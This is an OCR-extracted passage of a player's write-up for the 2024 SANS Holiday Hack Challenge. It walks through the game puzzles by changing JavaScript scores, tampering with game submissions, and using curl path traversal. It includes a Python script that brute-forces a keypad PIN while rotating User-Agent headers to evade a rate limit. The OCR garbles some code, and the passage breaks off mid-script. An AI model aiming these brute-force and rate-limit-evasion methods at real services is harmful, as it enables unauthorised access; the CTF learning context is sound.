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Introduction

Welcome, Fellow Hackers! If you’re reading this, the competition phase of the SANS Holiday Hack Challenge (HHC) has
concluded, and we’re now in the season of shared learning through write-ups. While the challenge itself is still live and you can
run through it at your own pace—with solutions in hand—this report aims to offer insights and guidance to enhance your
experience.

This year, the Discord server felt more active than ever, creating a vibrant sense of collaboration. While chatting with several
players, we realized that we’d connected during past Holiday Hack Challenges—a discovery that added a unique layer of
nostalgia and familiarity. In a separate highlight, | also ended up meeting a fellow hacker for lunch in a nearby city. It was a
great conversation with someone who shares a passion for challenges like these, making it a memorable moment of the
season.

I’d like to take a moment to thank the creators and developers of the challenge for their immense effort and creativity. This
eventis a highlight for so many of us, and it wouldn’t be possible without their dedication. Writing this report has been an
invaluable learning experience for me, and | hope it provides clarity, inspiration, and knowledge foryou as well.

Finally, if you’ve never participated during the live competition phase, | encourage you to join next year. The excitement of
solving challenges in real time, paired with an incredibly active and supportive Discord community, makes for an unforgettable
experience.

Happy hacking, and | hope to see you all in the next challenge!

Legend for the different sections:

©f Goals Defines the objectives of the challenge.
1% Key Hints Hints from the game that are especially useful.

. Background Info Context to help understand the solution steps.
= Side Note Related information.
B Solution Steps for Silver Steps to solve the challenge.
4 Silver/Gold Answer The solution to the challenge.
Key Learnings Highlights lessons and skills gained from the challenge.

Prologue: Frosty’s Island Map

Prologue: Holiday Hack Orientation¥ # % % %

© Goals
Learn about completing challenges, conversing with elves, and interacting with a terminal.

Answer
answer
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Prologue: EIf Connect# # % # #%

Help Angel Candysalt connect the dots in a game of connections.

© Goals
e Silver: Hack the JavaScript to complete the categorization game.

e Gold: Hack the JavaScript to get a score over 50000.

% Key Hints

If you're curious, you might want to check under the hood. Try opening the browser's developer tools console and looking
around—there might even be a variable named 'score' that could give you some insights. Sometimes, games hold secrets for
those who dig a little deeper. Give it a shot and see what you can discover!

Background Info: DevTools and JavaScript

e Browser developer tools (Devlools) are a suite of tools built into modern web browsers. They help in debugging and
analyzing web pages and applications. Shortcuts: [F12];[ctrl + shift + 1;[cmd + option + If;[right click-inspect]

e JavaScript is the programming language used for most web development making them interactive and fun.

8 Solution Steps for Silver
This challenge is based on the popular New York Times 'Connections' game. We’re presented with a set of tiles where our goal
is to find 4 tiles that share a common theme. We could solve it manually, but the more exciting way is to hack it!

al & |

This game is based on the popular New York Times 'Connections'
game.

The game has 4 rounds.
For each of the 4 rounds, you are presented with 16 words.

Each round is based on a theme.
The theme can be further grouped into sub-topics.

The theme could be pets, but the groups could be dog breeds, cat
breeds, etc.

*

The object of the game is to group words that share a common
thread.

You receive 100 points for sach row you complete.
Go for gold and try to beat the high-score

Click anywhere to begin.

5+ Side Note
Many games in the HHC are opened in an iframe. It’s sometimes simpler to open games in their own tab. In Devlools, search
for in the Elements tab. From here you can right-click the link to open the game in its own tab.

</ Elements s f; ources 7 Network <&*

-elfconnect.holidayhackchalleng:

In DevTlools, the tab has the JavaScript file under the |hhc24—elfconnect| subdomain. While looking at the code, we're
excited to see that all the words from the game are on lines 61-64. It's always a thrill to find something recognizable to the

game with the chance at hacking it. Then just a few lines down on lines 70-73, the indexes of the correct sets are given.

2024 holidayhackchallenge.com
codejquery.com
> fonts.googleapis.com
.gstatic.com
> use.fontawesome.com
www.googletagmanager.com
) hhc24-elfconnectholidayhackchallenge.com/

v (5 hhc24-elfconnectholidayhackchallenge.com

Y ?&challenge=termElfConnectBusernames=...

6457423f-e720-4caa-9441-ab0cb1f7f5fc
bdd9baba-5649-44f4-9f6 01c930dae

86c-49da-b355-116a2110f82f
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https://developer.mozilla.org/en-US/docs/Learn_web_development/Howto/Tools_and_setup/What_are_browser_developer_tools
https://en.wikipedia.org/wiki/JavaScript

One could manually extract the correct sets, but it'd be a bit tedious. Making a small script saves time and is really rewarding.
The following script can be run in the console to output the correct answers. It loops through the word sets and correct sets to
output the grouped tiles in a readable format. This could be done in any other language, but using JavaScript is handy since the
variables are already set in the browser.

for (let 1 = 1; 1 <= 4; i++) {
for (let j = 0; J < correctSets.length; j++) {
let result = ‘Word Set ${i}, Correct Set ${j+1}: ;
for (let k = 0; k < 4; k++) {
result += wordSets[i] [correctSets[j] [k]] + "™ ";
}

console.log(result.trim());

}

This code can be run in the console in Devlools. If you didn’t open the game in its own tab, make sure the context is correct.
Below, | show changing it from tofhhc24-elfconnect.holidayhackchallenge.com|.

Default levels w

ULLS

Failed

bits: Devlools Performance Metrics

L DevTools Performance Metrics

bits:

T ‘orcepoint One Endpoint for Edge
statiq hhc24-elfconnect holidayhackchallenge.com/
Failed hhc24-elfconnect holidayhackchallenge.com
Failed DevTools Performance Metrics

Silver Answer
Below shows the results of the script with the theme of each solution set on the right.

., Correct § : Tinsel Garland Star Lights tree decorations
» Correct S 2: Sleigh Bag Mittens Gifts
., Correct § : Belafonte Jingle Bells Crosby White Christmas [IEEEEEUSE]
» Correct S : Comet Vixen Prancer Blitzen
» Correct 5 : Nmap netcat Wireshark Messus
2, Correct Set 2: burp OWASP Zap Nikto wfuzz wieb vulnerability assessment
., Correct § 3: Frida Cycript AppMon apktool
2, Correct Set 4: Metasploit Cobalt Strike HAVOC Empire
, Correct S : AES RSA Blowfish 3DES
, Correct Set 2: WEP WPA2 TKIP LEAP wireless security protocols
» Correct Set 3: Symmetric Asymmetric hash hybrid
, Correct 5 : Caesar One-time Pad Ottendorf Scytale classical encryption
, Correct S : IGMP IPX IP ICMP
, Correct Set 2: TLS S5L IPSec S5H

» Correct Set 3: Ethernet PPP IEEE 882.11 ARP ISRl isteiee Rl e g ]

Word Set 1 Theme: Christmas

Word Set 2 Theme: Cybersecurity Tools

Word Set 3 Theme: Cryptography

Word Set 4 Theme: Network Protocols

S R R

, Correct S : HTTP FTP SMTP DNS application layer protocels

8 Solution Steps for Gold
One hint refers to a variable named . Going back to the same source as above, the variable is modified by adding

on line 247. On 251, there's a test if the is greater than .
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Gold Answer
Set the score to 50001 in the console (check the right context), complete a set, and it completes the hard challenge.

Vixen g PrancevE v
X
xBia ‘_ T oR-T.9 . #
1 ngle £ Crosby §
=lls C

Key Learnings
e Understanding how the answers are set in JavaScript can help you beat the game quickly.
e Understanding new cybersecurity terms. Some might come in handy later in the HHC (like what's Ottendorf? = ).
e How you can hack the score in the console using JavaScript.

Prologue: EIf Minder 9000  * % %

Assist Poinsettia McMittens with playing a game of Elf Minder 9000.

© Goals

Craft a path for an elf to travel from one flag to another while avoiding obstacles and collecting every crate within the spe cified
time. Understand the JavaScript to find an edge case to solve the last puzzle.

i% Key Hints
When developing a video game—even a simple one—it's surprisingly easy to overlook an edge case in the game logic, which
can lead to unexpected behavior.

4 Answer
Below shows the paths | drew, the objects | placed, and the rotations | made.
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Rotate 1x
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Rotate 3x

2 2. Rotate 1x
3. Rotate 1x
4. Rotate 1x

KN

8 Solution Steps for Gold
After finishing Silver, a new level, "A Real Pickle," appears where the final flag is surrounded by rocks. One hint refers to an edge

case. Poinsettia also mentions springs and a "comment." There is a comment on line 298 in that says|fix this|
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:3‘}: Sources

elfminder.holidayhackchallenge.com
index.ht lleno- =termElfMinder... validTarget = th sPointInAnySegment (nextPoint) || entityHere;
chance.min. b tvalidTarget);

2,J . . - . \
gamesys o~ i =.isPointInAny ment(nextPoint) || entitvHere) {
guidejs {entityHere) n this.segments[@][8]; /.
levels 2 n nextPoint;

styl
bajpg
blocker.png

+»Side Note
An edge case refers to a situation that occurs only at an extreme (maximum or minimum) operating parameter. In this case, it
refers to when a spring's destination is another spring. With the fast pace of growth, developers sometimes are not able to fix
things they intended before deploying code to production. Sometimes comments highlight where bugs were left unfixed.
To understand what this was, | looked above it and found that it was in the |getSpringTarget| function.

getSpringTarget(spri

Lines 281-284 plus line 298 state that if the landing point from a spring is a portal or another spring, then make spring target

the first segment that was placed, orfthis.segments[0] [0]] So to solve this puzzle, place a first path segment going toward the

finish flag, place paths/tunnels to collect all crates, then have the character jump from one spring to land on another spring.

entity[@ nextPoint[@] &%
entity[1 nextPoint[1]);

i

X 2. Click 3x
: 3. Click 2x
"

H

"

.

8 Alternate Solution Steps for Gold

> entity[2] == EmtityTypes.SPRING);

The [i £] statement could be commented, but | just added two zeros to make it . See the local content override section in the

lAct 2: Snowball Showdownl section for details on how to do this. This enabled me to add more springs to solve the challenge.
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https://www.coursera.org/articles/edge-case

5 Side Notes
The above phrases and images refer to a few memes. The "EMMEHGERD" above is a reference to a meme expressing
excitement of having an abundance of good things. The "THERES...EVERYWHERE" is from one from Toy Story. The "WHY CAN'T

I HOLD ALL THESE SPRINGS??" comes from one about limes. | don't know what the "TICKS" refer to though. =

GHBISTMAS MUSIC

A
H"

&
’ AS MUSIC

hold all these limes?

8 Solution Steps for Top Scores

There are leaderboards for getting work done efficiently (Good Boss) and for wasting time (Evil Boss). | was able to get into the
top 10 of the Good Boss leaderboard for Sandy Start (much Glory! @). | used the two tricks above (>2 springs and the edge
case) and modifying the local storage JSON which allowed me to place springs and tunnels in places | could not otherwise.
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https://www.vanityfair.com/culture/2015/10/ermahgerd-girl-true-story
https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage

c [0 Elements Console Sources Network Performance Memory Application Security Lighthouse Recorder

Application C Y Filter @ X

> D Manifest . .
https://hhc24-elfminder.holidayhackchallenge.com

%y Service workers

@ Storage Origin  https:/fhhc24-elfminder.holidayhackchallenge.com
Storage Key Value
v EH Local storage level_Sandy Start {"segments":[[[5,3],[6,3]],[[1,5],[2,5]1,[[7,3],[7.41],[(7,71,[7,8]],[[10,5],[11,5]]],"entities":[[2,5,7],[3,5,7],[6,3,71,[7.4,7],[7,8,6],[10,5,6]]}
BB https:/[2024.holidayhackc... | showHelp:0 true
showHelp:1 true
true
{"segments":[[[5,3],[6,31]1,((%,5],12,5]],((7,31,1(7,411, ((7,7],(7,811,[([10,5], [11,5]]],"entities": [[2,5,7],[3,5,7
1,06,3,71,07,4,71,17,8,6],[10,5,6]1]}

are a list of pairs of tuples with the X-Y coordinates of each segment. Were 3-tuples: [, ,

|turmel :6/spring: 7|]. Some exploits weren't allowed as there was some server-side validation that prevented certain hacks,

like diagonal paths and decimal coordinates. The game runs fine locally, but the server rejects the submission at the end.

: ﬁ% I All Crates Collected!
7 : Score: 867 Evil Boss Made

m....

Ticks: 188 Segments: 5 Clicks: @
g g ’2 : username level score  ticks  segments clicks

" . | : I : i "-‘_ 1 lumiko Sandy Start 892 a8 4 1

T 2 Nova Sandy Start B2 88 4 1

3 547URND Sandy Start 892 28 4 1

4 CalAtAKeyboard Sandy Start 892 88 4 1

5 BigBadDad Sandy Start 892 88 4 1

6 Julez Sandy Start 888 92 4 1

7 mythas Sandy Start 888 92 4 1

8 jrawles Sandy Start 872 103 5 0

9  zosec Sandy Start 868 107 5 0

fio i Sandy Start 867 108 5 o]

Another way to hack this is to use Burp Suite. |found that at the end of the game, an HTTP POST is sent with a JSON of the
entities, segments, and clicks. Entity type 0 is for the start flag, and entity type 1 is for the finish flag. For the simpler maps, |
thought about brute forcing all combinations but found it still would have been too much.

2095 | httpsu/hhc24-efiminder.holidayhackchallenge.com POST /game/submit] = 200 5557 JSON

= n
Request Response
Pretty Raw Hex 8 » = Pretty Raw Hex 8 » :

1 POST /game/submit HTTP/2

2 Host: hhc24-elfminder.holidayhackchallenge.com

3 Cookie: _ga=GA1.1.203631983.1732095954; GCLB="da489c4elbc2b382";
_ga_F6ZZNPR5SE5=(GS51.1.1735651824.1086.1.1735651843.0.0.0

HTTP/2 200 OK

Access-Control-Allow-Origin: =*

Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Content-Type: application/json;charset=utf-8

[E I SN

4 Content-Length: 244 Date: Tue, 31 Dec 2024 13:31:32 GMT

5 Sec-Ch-Ua-Platform: "mac0S" 6 Content-Length: 5266

6 Accept-Language: en-US,en;q=0.9 7 via: 1.1 google

7 Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24" 8 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000

8 Content-Type: application/json 9

9 Sec-Ch-Ua-Mobile: 7@ 10 {"segments":5,"clicks":@,"level":"Sandy Start",

10 User-Agent: Mozilla/5.@ (Windows NT 10.0; Win64; x64) "ticks":188,"goodScore":867,"evilScore":1084},"goodScores": [{"username":
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.148 "lumiko","level”:"Sandy Start","score":892,"ticks":88,"segments":4,
Safari/537.36 "clicks":1,"timestamp":1731338507915}, {"username":"Nova","level™:

11 Accept: */* "Sandy Start","score":892,"ticks":88,"segments":4,"clicks":1,

12 Origin: https://hhc24-elfminder.holidayhackchallenge.com “timestamp":1731345483024}, {"username":"547URNO" ,"level":"Sandy Start"”,

13 Sec-Fetch-Site: same-origin “score':892,"ticks":88,"segments":4,"clicks":1,"timestamp":

14 Sec-Fetch-Mode: cors 1731592371287}, {"username":"CatAtAKeyboard","level":"Sandy Start",

15 Sec-Fetch-Dest: empty "score":892,"ticks":88,"segments":4,"clicks":1,"timestamp":

16 Referer: 1732220595456}, {"username":"BigBadDad"," level":"Sandy Start","score":
https://hhc24-elfminder.holidayhackchallenge.com/index.html?id=fdbea® 892,"ticks":88,"segments":4,"clicks":1,"timestamp"”:1732231074952},{
7b-8efd-4db2-909b-087c3941811bd&level=Sandy%28Start "username":"julez","level":"Sandy Start","score":888,"ticks":92,

17 Accept-Encoding: gzip, deflate, br "segments":4,"clicks":1,"timestamp":1731334516119}, {"username":"mythas"

18 Priority: u=1, i ,"level"”:"Sandy Start","score":888,"ticks":92,"segments":4,"clicks":1,

19 "timestamp":1731336823060},{"username":"jrawles","level”:"Sandy Start"”,

20 |{"level":"Sandy Start","entities":[[1,5,0],[11,5,1],(2,5,7],(3,5,7],( "score":872,"ticks":103,"segments":5,"clicks":@,"timestamp":
6,3,71,17,4,71,17,8,6]1,[10,5,6]],"segments":[[[5,3],(6,31]1,[[1,5], (2, 1731797231987}, {"username":" ":"Sandy Start","score":868,

511,117,311, (7,411, ((7,7], 17,811, [[1e,5], [11,5]]],"clicks": [I,"rid":
" fdbea®7b-8efd-4db2-909b-07c3941811bd"}

Background Info: Burp Suite
Burp Suite is a proxy tool that acts as a middleman between your browser and the web. It intercepts, inspects, and modifies
the data sent and received, making it extremely useful for troubleshooting and analyzing web pages and web applications. The
Community Edition is free and remains powerful despite having some of its features limited.

Key Learnings
e How to solve a puzzle game with strategic resources (tunnels and springs) to bypass obstacles.
e How to exploit an unfixed edge case left in by the developer to solve an otherwise unsolvable game.
e How to bypass JavaScript controls in a game to perform unintended actions to achieve a top score.

2024 SANS Holiday Hack Report by James Mar 10



https://portswigger.net/burp

Act 1: cURLiIng#® # % % &

Team up with Bow Ninecandle to send web requests from the command line using Curl, learning how to interact directly with

web servers and retrieve information like a pro!

© Goals
e Silver: Learn and use curl to explore its features.

e Gold: Complete the challenge in 3 commands.

i Key Hints
The official cURL man page has tons of useful information on how to use cURL.
Take a look at cURL's "--path-as-is" option; it controls a default behavior that you may not expect!

+»Side Notes
e The game name is an obvious play on words with the curl tool being the same word as the winter sport. &
e Some terminals in the HHC use tmux, a terminal multiplexer that allows one to manage multiple terminal instances in
one terminal. tmux Wiki
e Tocopy, youcan't usectrl + c| Copy usingrightclickor|ctrl + insert| [cmd +c|works on a Mac though.
e Topaste, press|ctrl + shift + v|or|shift + insert], or by using right click.

1) Unlike the defined standards of a curling sheet
o 2. Usze curl to retrieve the web
run the 'hint' command.

alabaster@eurlingfun:~§ curl http://curlingfun:8080[]

8 Solution Steps for Silver

Request on port 8080: [curl http://curlingfun:8080|

2. Skip certificate verification: [curl -k https://curlingfun:2090| (or[-—insecurel)

3. HTTP POST with parameter [skip|settoalabaster]:|curl -k -x POST https://curlingfun:9090 -d 'skip=alabaster'|

( is optional)

4. Include a cookie called with a value of [3: [curl -k https://curlingfun:9090 -b 'end=3'](or[-=cookie])

5. View HTTP response headers: [curl -k -I https://curlingfun:9090|

6. Include a custom HTTP header in the request of [Stone|=lGranite| |curl -k https://curlingfun:9090 -H 'Stone:|

7. FOFCGCUF[nOttOIﬂOdﬁythelJRLﬂcurl --path-as-is -k https://curlingfun:9090/../../etc/hacks

8 Solution Steps for Gold
Poking in the file system, we see a txt file with instructions:

alabaster@curlingfun:~$ 1s

HARD-MODE.txt HELP

alabaster@Qcurlingfun: ~$ cat HARD-MODE. txt

Prefer to skip ahead without guidance? Use curl to craft a request meeting these requirements:

- HTTP POST request to https://curlingfun:9090/
- Parameter "skip" set to "bow"

- Cookie "end" set to "10"

- Header "Hack" set to "12ft"
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https://curl.se/docs/manpage.html
https://curl.se/docs/manpage.html
https://en.wikipedia.org/wiki/Curling
https://github.com/tmux/tmux/wiki

alabaster@curlingfun:~$ curl -k https://curlingfun:9090 -b 'end=10' -H 'Hack: 12ft' -d 'skip=bow'
Excellent! Now, use curl to access this URL: https://curlingfun:9090/../../etc/button
alabaster@curlingfun:~$ curl -k https://curlingfun:9090/../../etc/button --path-as-is

Great! Finally, use curl to access the page that this URL redirects to:
https://curlingfun:9090/GoodSportsmanship

alabaster@curlingfun:~$ curl -k -L https://curlingfun:9090/GoodSportsmanship
Excellent work, you have solved hard mode! You may close this terminal once HHC grants your achievement.

Key Learnings
e |Learned about curl and its many options: alternate port, skipping certificate verification, performing an HTTP POST,
setting a cookie, viewing and setting headers, using path-as-is, and following redirects.

Act 1: Frosty Keypads# # # #% %

In a swirl of shredded paper, lies the key. Can you unlock the shredder’s code and uncover Santa's lost secrets?
© Goals

e Silver: Decipher an Ottendorf code to unlock the shredder's code.

e Gold: Brute force HTTP POST requests to unlock the shredder's code.

i Key Hints

e Well this is puzzling. | wonder if Santa has a seperate code. Bet that would cast some light on the problem. | know this
is a stretch...but...what if you had one of those fancy UV lights to look at the fingerprints on the keypad? That might at
least limit the possible digits being used...

e Seeif you can find a copy of that book everyone seems to be reading these days. | thought | saw somebody drop one
close by...

e Hmmmm. | know | have seen Santa and the other elves use this keypad. | wonder what it contains. | bet whatever is in
there is a National Treasure!

8 Solution Steps for Silver
From the hints, we know that there are items to find. The UV flashlight is to the left, and the book is to the right.

—=- > y— - ~

ACetsdor) IS i ot

Afteryou find them, you can see them in the items tab. Link from book: https://frost-y-book.com/.

£ » UV Flashlight
-

A trusty flashlight, twinkling with holiday cheer, perfect
for illuminating hidden...prints...and rogue reindeer
tracks!

Frosty Book

* A snow-covered book lies forgotten on the ground,

its pages slightly ajar as if inviting the
curious to unlock the secret hidden within its well-worn
spine. Read the Book...

B ATRSNUN

There is a comment on line 59 in the game code by the image file, , that mentions Ottendorf which is a cipher to
encrypt text. This was one of the words in the Elf Connect challenge. And one last reference was from a hint that mentioned
"National Treasure," a movie where an Ottendorf cipher was found on the back of the U.S. Declaration of Indepe ndence.
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https://frost-y-book.com/
https://en.wikipedia.org/wiki/Book_cipher

v

[ hhc24-frostykeypad.holidayhackchallenge.comy/

v ¢ hhc24-frostykeypad.holidayhackchallenge.com

97d12ee0-500b-476b-2d29-394c4ab4a84b3

In this case, the 3-digit groups refer to jpage-word-1letter|from the Frosty Book. For the first example, refers to ,

fiord ¢, and[ietter 1]whichisan[g]. Following the rest of the codes, it spells [sanTa).

PxGe 1: Pzce 2:
"TWAS THE NIGHT BEFORE THE CHILDREN WERE
CHRISTMAS, WHEN ALL NESTLED ALL[SNUG IN THEIR

THROUGH THE HOUSE BEDS;

Silver Answer

Using the letters from a phone number pad, "SANTA" translates to -Which unlocks the silver challenge.

'III%%' IIEIIHII

)0 e

8 Solution Steps for Gold

| used Burp Suite's Intruder to brute force the numbers (Zap could also be used). Here are the steps:

Using the UV light on the keypad to look for fingerprints, it shows 2678 are used.

1. With the Burp Suite proxy, capture traffic of sending one code.
2. From the history, right click that request and send it to Intruder.
3. Select Sniper attack, Brute forcer, Character set: with for min/max lengths, and add the payload position in the

answer] Then start the attack.

Extensions Learn

1

x I -

@ Sniper attack v (® Start attack

Target htrps:h‘hhc24-fmstykeypad.holidayhackchal&en¢.com Update Host header to match target

17
18
19

Add § Clear § Auto §

POST /submit?id=d@9db@c9-c1f1-4ff5-9156-ed14c2c66e58 HTTP/2

Host: hhc24-frostykeypad.holidayhackchallenge.com

Cookie: _ga=GA1l.1.203631983.1732095954; CreativeCookieName=
ey)1c2VyaWQiOiI2NDczYTQ2ZCOwWNGN1LTQ40GELYWQ4YS0zNzQzMDFkMmIyMWQifQ. Z0QaQA, MHNo fuBE
FlkrywmAcoaez]9_C00; _ga_F6ZZNPRSE5=GS51.1.1732521415.12.1.1732521416.0.0.0
Content-Length: 18

Sec-Ch-Ua-Platform: "mac0S"

Accept-Language: en-US,en;q=0.9

Sec-Ch-Ua: "Not?A_Brand";v="99", "Chromium";v="130"

Content-Type: application/json

Sec-Ch-Ua-Mobile: 7@

User-Agent: Mozilla/5.@ (Windows NT 10.@; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/130.0.6723.78 Safari/537.36

Accept: */*

Origin: https://hhc24-frostykeypad.holidayhackchallenge.com

Sec-Fetch-Site: same-origin

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Referer:
https://hhc24-frostykeypad.holidayhackchallenge.com/?&challenge=termFrostyKeypad&u
sername=ramsemaj&id=d@9db@c9-c1f1-4ff5-9156-edl4c2c66e58&area=frontyardactl&locati
on=62,18&tokens=termFrostyKeypad, easy&dna=ATATATTAATATATATATATATCGATATATATGCCGTAAT
ATATATATATATATTAATATATATATATTACGATATTAGCATATATATATATATATATATATATATATGCGCATATCGGC
Accept-Encoding: gzip, deflate, br

Priority: u=1, i

{"answer":"|§12345§'}
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Dashboard Target Proxy Repeater Collaborator Sequencer Decoder Comparer Logger Organizer 5} Se|

Payloads ) & X

Payload position: A

Payload count: 1,024
Requestcount: 1,024

Payload configuration ~

This payload type generates payloads of specified lengths
that contain all permutations of a specified character set.

Character set: | 2678
Min length: 5

Max length: 5

Payload processing ~

You can define rules to perform various processing tasks on
each payload before itis used.

Add Ena... Rule
Edit

Remove
Up

Down
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Gold Answer
The answer is found to be 22786.

Q 3. Intruder attack of https://hhc24-frostyk d.holiday com

Results Positions

7 Intruder attack results filter: Showing all tems

Request Payload Status code Respons... Error Timeout Length Comme

211 72682 200 133 219

481 i 200 123 219

o 400 57 33

1 22222 400 75 331

2 62222 400 55 33

3 72222 400 100 331

4 82222 400 57 331

5 26222 400 53 33

6 66222 400 54 a3

7 76222 400 85 a3
Request Response :
Pretty Raw Hex QB w =

HTTP/2 2080 OK

Server: gunicorn

Date: Fri, 29 Nov 2024 11:31:22 GMT

Content-Type: application/json

Content-Length: 21

Via: 1.1 google

7 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000

SrEWN e

9 {

L “output":"success"

8 Alternative Solution Steps for Gold

Another way to perform the brute force attack besides Burp Suite is to use Python. | asked Al tools to help write this. The
output had HTTP errors (wrong answetr), but it also had HTTP errors saying the rate limit was 1 request per second per
User-Agent. This may not have appeared in Burp Suite since the Community Edition has a built-in rate limit.

PIN: 22222, Status Code: 400, Response: {"error":"The data you've provided seems to have gone on a whimsical
adventure, losing all sense of order and coherence!"}

PIN: 22262, Status Code: 429, Response: {"error":"Too many requests from this User-Agent. Limited to 1 requests
per 1 seconds."}

To bypass the rate limit, | made each User-Agent unique by setting it to the key combination and my initials, .

import requests
from itertools import product

url = "https://hhc24-frostykeypad.holidayhackchallenge.com/submit"
digits = [2, 6, 7, 8]
combinations = product(digits, repeat=5)

# Iterate over each combination and send a POST request
for combo in combinations:
pin = "".join(map (str, combo))
payload = {"answer": pin}
headers = {"User-Agent": f£"{pin}jm"}
try:
response = requests.post(url, json=payload, headers=headers)
if response.status code == 200:
print (f"PIN: {pin}, Status Code: {response.status code}, Response: {response.text}")
except Exception as e:
print (f"Error with PIN: {pin}, Exception: {e}")

After about 6 seconds, | get the answer.

PIN: 22786, Status Code: 200, Response: {"output":"success"}

Key Learnings
e How to decrypt an Ottendorf cipher.
e How to brute force combinations in web requests using Burp Suite and Python.

Act 1: Hardware Hacking 101 Part 1% # % % %

Ready your tools and sharpen your wits—only the cleverest can untangle the wires and unlock Santa’s hidden secrets!
Hardware Hacking 101 Part 1: Jingle all the wires and connect to Santa's Little Helper to reveal the merry secrets locked in his
chest!

© Goals
e Silver: Find settings from shredded pieces of paper and properly connect the UART hardware.
e Gold: Do the same action without connecting the hardware.
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i Key Hints

Hey, | just caught wind of this neat way to piece back shredded paper! It's a fancy heuristic detection technique—sharp as an
elf’s wit, | tell ya! Got a sample Python script right here, courtesy of Arnydo. Check it out when you have a sec:

heuristic edge detection.py."

¢ Background Info: UART
A UART (Universal Asynchronous Receiver/Transmitter) is commonly used to connect devices like industrial sensors, robotics
equipment, or older embedded systems to a computer via USB. The right settings are needed for the serial port to work. If you
were around in the 90s, you might have seen these settings in dial-up modems. But don't think these aren't useful today! Just
last month, one hacker YouTuber demonstrated how to use the UART interface to hack into a modern Wi-Fi router.

8 Solution Steps for Silver
After completing the Frosty Keypad challenge, you get 1000 shredded pieces of animage in a zip file:

One Thousand Little Teeny Tiny
Y Shredded Pieces of Paper

A mountain of one thousand little tiny shredded
pieces of paper—each scrap whispering a secret, waiting for
the right hardware hacker to piece the puzzle back together!

Opening the challenge, you get a manual and then the hardware setup:
PRirodscing the cuntay Ut Hojper = "ﬂ—‘ . 7% (e | -

ASCEN Curd Fintamumes Oc:‘ieipr‘l-wm‘ Y 3 . NS, A,
remt G vt " \P7I03 UART-BRIDGE |

3

<hOSk /nd what!ies vithin

\ this
83kT None otk
o Nend Otkar than th feg

\SUREA, Lhe exciusive quasdian obgis deges. |
‘ll:ﬂhw SLH with its mbgical yy; thm:::‘
b contro| accesy 10 this most. sured
OCURINt, Tht 81 fus . oty the
dePinitive record of svery childs heartfuly
RN wishes, nsuving the vyt prosants - [
Fin teir vy £0 tho right stockings,

b‘“‘l'rnwmwmm e

OF Righ-tach wizsp 1y the s ..'fn‘f..':.?;"

ww»m,.mw'wnqm
mmmm“

Running the script from the hint, |heuristic edge detection .py| on the unzipped files produces an image that is reversed and
not properly started. However, itisn't too hard to make out visually. A photo editor would also be able to fix it.

Silver Answer

After closing the manual, it's time to set up the hardware. Connect the USB cable from the display/input device by clicking on
the unconnected end of the USB cable. Connect the colored jumper wires like this (colors do not matter):

V to VCC (Voltage)

e Tto Rx (transmit to receive)

e R toTx (receive to transmit)

e G to GND (Ground)
Power on with the green P button. If you leave the voltage setting on 5V you fry one of the chips (which is strangely kinda fun to
do). Lucky for us, it still works after being fried. In real life, it'd be a big pain to deal with! So switch the voltage setting to 3V at
the top right corner of the UART.
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Port: USBO

Baud Rate: 115200
Parity: even
Data: 7 bit

Stop bits: 1 bit

B Alternate Solution Steps for Silver
Every one of the shredded images has a comment in the metadata with Base64 data:

o 00bB82e45-bd70-423b-b66b-f188f383635a Prope
General Securty Detalls Previous Versions

Property Value
Description
Title
Subject
Rating
Tags
[ Comments Wiyl0YORPlwgim31biJd |

»Side Note
Base64 is a common way to encode data so it can be safely sent over the internet. It takes regular data, like text or binary files,
and converts it into a set of 64 characters (letters, numbers, and a few symbols). This is useful when you want to transfer
binary data over systems that only support text, like the comment section in image metadata.

Recognizing Base64: With a little practice, itisn't hard to recognize Base64 encoded data. One of the easier clues is when a
string of characters ends with one or two E| signs which are sometimes needed for padding at the end. Of course, this isn't
always the case. Otherwise, you would look for a random distribution of letters (upper and lower case), numbers, and two

symbols, [+[and . This would contrast with a hex string which would only consist of numbers 0-9 and letters A-F.

Using Al tools, | made a Python script to extract all the comments. It looked to be a data pair where the first element was a

reversed Base64 string since some had one or two equal signs in the front. After reversing them and Base64 decoding them, |
found they were numbers 0-999. This was the sequence of the cut images and of the text that was in the second element.

Decoded UserComment for slices/b3343a49-52fc-4289-a934-eb0646f0ea’70.jpg: ["==wN", "now"]

Decoded UserComment for slices/c4778458-d2bb-47f6-95c0-c2cf34decdfa.jpg: ["2kDN", "is "]

Decoded UserComment for slices/06861ff3-11c9-48ba-b996-1e08bal3e2b03.jpg: ["yAzN", "low"]

Decoded UserComment for slices/5577d2e2-bf3a-48b6-9e34-10190e2b50ed. jpg: ["=kTM", "o f"]

In addition to extracting comments, | also asked Al tools to code assembling the text and image using the sequence numbers.

import os

import base64

from PIL import Image

from PIL.ExifTags import TAGS
import ast

def extract user comment (image path):

try:
image = Image.open(image path)
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exif data = image. getexif()

user comment tag = None

for tag, value in exif data.items() :
tag name = TAGS.get(tag, tag)

if tag name == "UserComment":
user comment tag = value
break

# Decode the UserComment tag (Base64 decoding)

# Strip the leading 'ASCII\x00\x00\x00' part before decoding

if isinstance (user comment tag, bytes) and user comment tag.startswith(b'ASCITI\x00\x00\x00"') :
base64 data = user comment tag[len(b'ASCII\x00\x00\x00') :].decode ('utf-8")
decoded comment = base64.b64decode (base64 data).decode('utf-8")

# ast.literal eval () safely evaluates a string containing a Python literal expression
# (like a list or dictionary) and converts it into the corresponding Python object.
list of values = ast.literal eval (decoded comment)

reversed base64 data = list of values[O0][::-1]
decoded index = int (base64.b64decode (reversed base64 data) .decode ('utf-8"))
decoded text = list of values[1l]
return list = [image path, decoded index, decoded text]
return return list

else:
return f"UserComment for {image path} is not in expected format"

except Exception as e:
return f"Error processing {image path}: {e}"

def process directory (directory):
try:
# Get all .jpg files in the directory
jpg files = [os.path.join (directory, f) for f in os.listdir(directory) if f.lower().endswith ('.jpg"')]

list of file index text = []

for jpg file in jpg files:
list of file index text.append(extract user comment (jpg file))

# Sort the list by the second index (index 1) of each sublist
sorted data = sorted(list of file index text, key=lambda x: x[1])

# Concatenate all the 3rd index (index 2) values
concatenated string = ''.join([x[2] for x in sorted datal)

# Print the text from the sorted list
print ("Concatenated String:", concatenated string)

#H##### Assembling the new image ## ## #####

# Step 1: Create an empty 1000x1000 image

